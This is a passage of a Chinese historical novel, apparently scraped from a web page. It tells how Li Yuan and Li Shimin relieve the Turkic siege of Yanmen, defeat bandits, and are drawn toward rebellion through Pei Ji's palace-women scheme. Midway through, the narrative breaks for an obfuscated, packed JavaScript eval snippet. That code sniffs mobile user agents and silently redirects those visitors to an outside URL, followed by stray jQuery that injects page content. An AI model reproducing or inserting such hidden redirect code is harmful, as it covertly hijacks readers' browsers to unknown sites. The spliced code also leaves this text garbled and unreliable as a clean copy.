大业十一年四月,杨广任命李渊为山西河东慰抚大使,派之镇压境内群盗。李渊遂将家眷就近安置在河东家宅,带着李世民赴任。
这几年,杨广的三次征辽之役皆以失败告终,隋室威名在北方草原彻底扫地。这年八月,杨广第三次巡视北塞,十万亲随赫赫扬扬周游在北方诸郡,企图以此来震慑突厥,挽回辽东战场上丢失的国威。
途径雁门突然接到突厥可贺敦,始毕可汗之妻,隋室义成公主的一纸密告——始毕已率十万大军前来袭击王师,请杨广迅速采取措施。
得到密告后的杨广既惊且怒,迅速带领前军驰入雁门关内依城据守,并派遣次子,齐王杨暕率领后军,退入崞县固守。
突厥突然发起攻击,隋军上下皆毫无准备,塞北各城猝不及防,四十一座城池中三十九城尽落于突厥,唯剩下雁门及崞县死守。雁门城内粮草仅供维持二十天之用,城外始毕可汗却率领兵马十万将雁门层层围困引军急攻,矢发如雨。
皇帝在军情极端紧急之下,精神陷于崩溃,抱着幼子痛哭,如一个妇人一般哭的双目尽肿。倘若他只是普通百姓,难么面对困境,如此表现亦是无伤大雅无关要碍。而然他不是!他是一国之君——是天下之主。他既为君,就应该有为君者的尊严与勇气,即便面对死亡威胁,这种尊严与勇气亦不能失去。然而此时——大敌当前,杨广却如此妇人之行——那么,无论何种说辞都不能掩饰他此刻的胆怯与无能!
情势岌岌可危,皇帝又哭的如同一个妇人,左卫大将军宇文述便提议皇帝带领数千精锐骁果军突围出城。他没有考虑清楚,这样的杨广能否跨上雄健的骏马,手握兵刃,于刀锋剑雨之下安然突破突厥大军的层层包围,逃出生天。
他的意见立刻遭到纳言苏威、民部尚书樊子盖、内史侍郎萧瑀等大臣反对。原因就是突围太过冒险,一旦突围不成,天子丧生殒命,天下岂不大乱?守城是我中原王朝之长,攻城是塞北游牧民族之短,坚守雁门等待勤王之师,便能取胜。若是弃城突围,不正是以己之短攻敌之所长?胜算渺茫!且就算突围成功,作为一国之君,危难之下弃众逃脱岂不威严扫地遗笑四方?天子的威严既荡然无存,那国家的尊严又在何处?
大臣纷纷各陈利弊,力劝炀帝放弃了突围的打算。
杨广经过短暂的精神崩溃后,最终还是回复冷静,权和利弊,放弃突围策略,采纳苏威、樊子盖等人的建议:许诺重赏守城官兵,下诏停止辽东之役,诏令四方募兵来援。由是,守城将卒踊跃击敌,各地守令争相赴难。同时杨广又采纳内弟萧瑀建议,暗派使臣向义成公主求救。
突厥可贺敦乃大可汗之妻,却不似中原王朝的皇后完全依附于皇帝本人。可贺敦本人,自有幕僚以及领地,甚至军民自成部落。大可汗不能轻意废立可贺敦。且作为隋室派往突厥的和亲公主,以往二十多年的时间里,在隋室扶持下逐步壮大,权势显赫,力量不可小觑。
义成公主得到杨广求救信后,以“北边有急”为辞,劝谏始毕罢兵。突厥北边为铁勒部落,一直与突厥摩擦不断。始毕可汗闻奏后将信将疑。
身在太原的李渊接到杨广勤王诏命之后,不敢延误,即征召军队,筹备北上雁门关解围。并派遣李世民先带领一部分征召的军队,随左屯卫大将军云定兴先行出发
云定兴率部向雁门进军,东都及诸郡授兵还未赶到,而云部的兵马并不足以与突厥的十万大军实现势均力敌的对抗。云定兴勤王之心急迫,却一筹莫展。李世民分析当前形势,建议云定兴多张旗帜多设擂鼓,分散行军,前后数十里,以为疑兵之法让突厥军队以为勤王之兵大致,不战而破。云定兴欣然从之。大张声势一路进军,到达雁门南面由齐王杨暕固守的崞县附近。随后,东都及诸郡授兵亦赶到忻口。
“北边”铁勒部落的威胁如芒刺在背;眼前突厥游牧民族,不善攻城的弱势又已经显现出来,而各郡的勤王之师相继赶到,这将对突厥更加不利。
最终,始毕惊疑中不得不匆匆解围而去。
这一年李世民虚岁十九,实岁不足十八,初露头角从解雁门之围。
皇帝在被困雁门情势危急之下许下重赏承诺,而雁门之围一解,杨广却并不予以履行。为君者如此言而无信,失信于国。
次年,贼帅魏刀儿拥众起义,北联突厥,拥众十余万自称“历山飞”。魏刀儿遣其部将甄*儿率兵进攻太原,杀死隋将潘文长,一时声势浩大。
李渊身为山西河东慰抚大使,首要之务便是平寇。
李渊同副将王威率领五千人马迎击贼寇。在西河郡雀鼠谷境内遭到甄*儿所率的两万部众包围。李渊下令分兵二阵,副将王威率领老弱嬴兵居前强兵居后,并以车马辎重押后,旌旗鼓噪,佯为大阵。李渊和李世民各率领数百骑兵分别屯兵于左右峡谷中。等到甄*儿率领两万部众前来,见隋军多为老弱残兵,这群流寇到底还是盗贼,不是一个严整军队,开始哄抢隋军辎重,阵型自然而然溃散。值此之际,李氏父子分别从左右侧翼率骑兵突入阵内斩杀敌军。
混战之中,李渊被困于阵不能突围,李世民以轻骑兵突围而进,左右开弓激射围涌上来的贼寇,将李渊与万众之中救出。不过一会儿,王威率领步兵赶来。两军配合,李氏父子率军奋击,贼兵大破。
十二年年底,杨广御宇已满十二年。这十二年以来,皇帝富于诗性的浪漫主义,一直按照自己的理念规划理想的帝国。他营建东都是因为洛阳物阜民丰;各地兴建行宫,因为使建筑更好的满足审美享受;开凿运河是为了解决水运;三次征辽是为了扬国威,震慑北方诸侯;而且当纯以国立来看,帝国的几大粮仓内继续了足可以支撑五十年之用的大量财富,这些财富支持皇帝的理想绰绰有余。
然而,理想毕竟不等同与现实。当诗意的浪漫理念付诸于实际行动时,对于理想者来说可能愿景的实现,但多半只是空中楼阁,对于百姓来说则更是痛苦不堪的噩梦。
帝国各地早已硝烟四起,各地豪强乘势起兵占据郡县,割据一方。李密得瓦岗军后,声势浩大,围攻东都洛阳;刘武周杀死马邑太守王仁恭,依附突厥自立为帝;薛举起金城,据陇西号西秦霸王;窦建德起河间,号长乐王,梁师都据朔方,孟海公据曹州;杜伏威据淮南等等。
在此情形之下,杨广舍弃两都,辗转江都。
李渊一方面镇压群盗,北击突厥,出色的完成杨广的使命,一方面又“纵酒纳贿以自晦”,遵从窦夫人生前建议,献美女宝马以悦圣心,终于,杨广因李渊镇压群盗以及抵御突厥南下有功,任命李渊为太远留守,同时派了两名副手以牵制和监视李渊。
获得多年以来梦寐以求的太原留守之职,李渊忽然想起当年窦夫人曾预言的“阿婆乃堂主,堂主即为唐主,预示将来公要入主天下。”之语。感慨之下对随侍的李世民道:“唐是吾封国,太原即为唐地,今吾来到此地为留守,乃是上天所赐。天与而吾等不取,便是逆天,逆天而行,则灾祸必至!”得到太原留守一职,实现多年以来的夙愿其内心欣喜激动,竟忘了一以贯之的谨慎,所出之言亦流露出“顺天应命”的不臣之心。
李世民眼见隋室国祚将尽,在太原境内广泛的结交地方官员,士族豪强。年龄的弱势本是他的一大障碍,却依旧不能掩盖他性格中超凡的凝聚力。上至白发老翁,下至年少俊杰,不论年纪只问志向,很快身边聚集起大批太原官吏以及地方士族豪强。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880475|212440||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
李渊深沉老辣,虽有反隋之心,却远比李世民要隐藏的更深,他这种深深埋于心底的城府,又怎会向尚不满二十,年轻气盛的儿子轻易道出?且只要李世民在他面前流露出一点反隋之心,他便严厉呵斥。最后造成连亲子李世民都不能肯定父亲是否有起兵决心。不得不求助于李渊密友裴寂。
裴寂为晋阳宫宫监,仪表堂堂为人和悦,与李渊交情最深。李世民遂日与裴寂郊游宴饮,又出钱数百万,令高斌廉与裴寂博钱,暗暗输钱与裴寂,平日亦会一当世时政旁敲侧击的试探裴寂的态度。光阴荏苒不觉过了月余,裴寂连连赢钱自是十分高兴,与李世民关系日渐亲密,而他对起兵一事的态度令李世民很是满意。又是一个酒酣之宴,李世民终于向裴寂提出请他督促李渊下决心起兵一事,并阐明:“今日公乃家父挚友,他日问鼎关中之时,裴公又是头等元谋功臣!以公与家父的交谊‘一人之下万人之上’必是公掌中之物!”
裴寂闻言,目中一丝幽光忽闪而过,脸上却依旧是方才平静和悦神色,拂须颔首道:“既然势在必行,某心中有计,二郎你放心,定能给你一个满意答复!”
是夜,裴寂邀请李渊赴晋阳宫宴饮,趁着酒酣之时,留宿李渊于晋阳宫内,并暗中命宫人入侍。
次日一早,李渊醒来,惊讶地发现身边竟然横陈着两位年轻女子,而塌下凌乱铺于地席上的女子衣装一眼便分辨出乃是晋阳宫宫装。行宫内宫人乃是天子宫眷,秽乱宫廷乃是欺君大罪。李渊大惊,顿时背脊生凉,恼怒的推醒两名宫人,喝问她们为何在此处!
两位女子面对李渊怒容倒是豪不惊慌,巧笑着穿好衣裙后便体贴寻来李渊袍服,托在手中恭敬地双手奉上。
李渊急急从尹迦儿手中接过袍服披上,正在穿戴之时,突然房门一响,裴寂进入内室,和悦地问李渊一夜睡得可安好?乍然一见两位宫人和李渊皆是衣冠不整,显得很是惊讶。片刻的错愕后,裴寂连声重重叹息,责怪李渊为何如此糊涂,宫人乃是天子宫眷,自己是出于交谊,才留宿李渊于晋阳宫,命两位宫人服侍。但此“服侍”并非彼“服饰”,李渊身为人臣应该知晓君臣之礼的。没想到尽然发生这样的事,此事若是为皇帝得知,不仅李渊罪不可赦,即便他这个晋阳宫监也是罪责难逃。
李渊满脸羞惭,惊惧焦急不已,也说不清为何两个美人会在自己身边。以手掩面坐于塌沿,连连叹息之后问裴寂应该如何处置。
裴寂看似经过短暂的错愕后,镇定下来,严肃的命两人不得将此事泄漏半句,连恐带吓地挥退二人,之后走向李渊,似沉思着向李渊道:“此事不可久瞒,若为皇帝知晓,后果可想而知,听说二郎暗中蓄养兵马,欲举义旗,如今骑虎难下,唐公应尽早决定。”
李渊为隋室外戚,世受国恩,明目张胆的做这个乱臣贼子,比起杨玄感之流更为可恨,不但受世人非议,即便成功,青史上也要落下不光彩的一笔。
闻言后李渊依旧沉默,不过他这种沉默对裴寂来说,不是反对,而是一种鼓励。
裴寂善解人意,深知李渊内心,因而一手设计这趟美人计,让李渊陷入‘被逼无奈’的局面。
裴寂继续劝说:“太原城内大批官员豪门皆倾心与公,公不必再多做犹豫,裴寂愿舍弃家众烦累,唯公马首是瞻,晋阳宫内女子朱玉,铁甲马驹任公取用!”言毕中间稍有停顿,看李渊反应,见他还是犹豫不决,裴寂握起李渊右手,长叹:“阿兄啊,良机不可失也!成就皇图霸业还是生死族灭实乃一念之间啊……”声泪俱下。
两人交情深厚,裴寂又如此推心置腹,李渊感动不已,牢牢执握裴寂之手,四臂交叠,重重握拳,对裴寂道:“我儿诚有此计,某只好同意。”……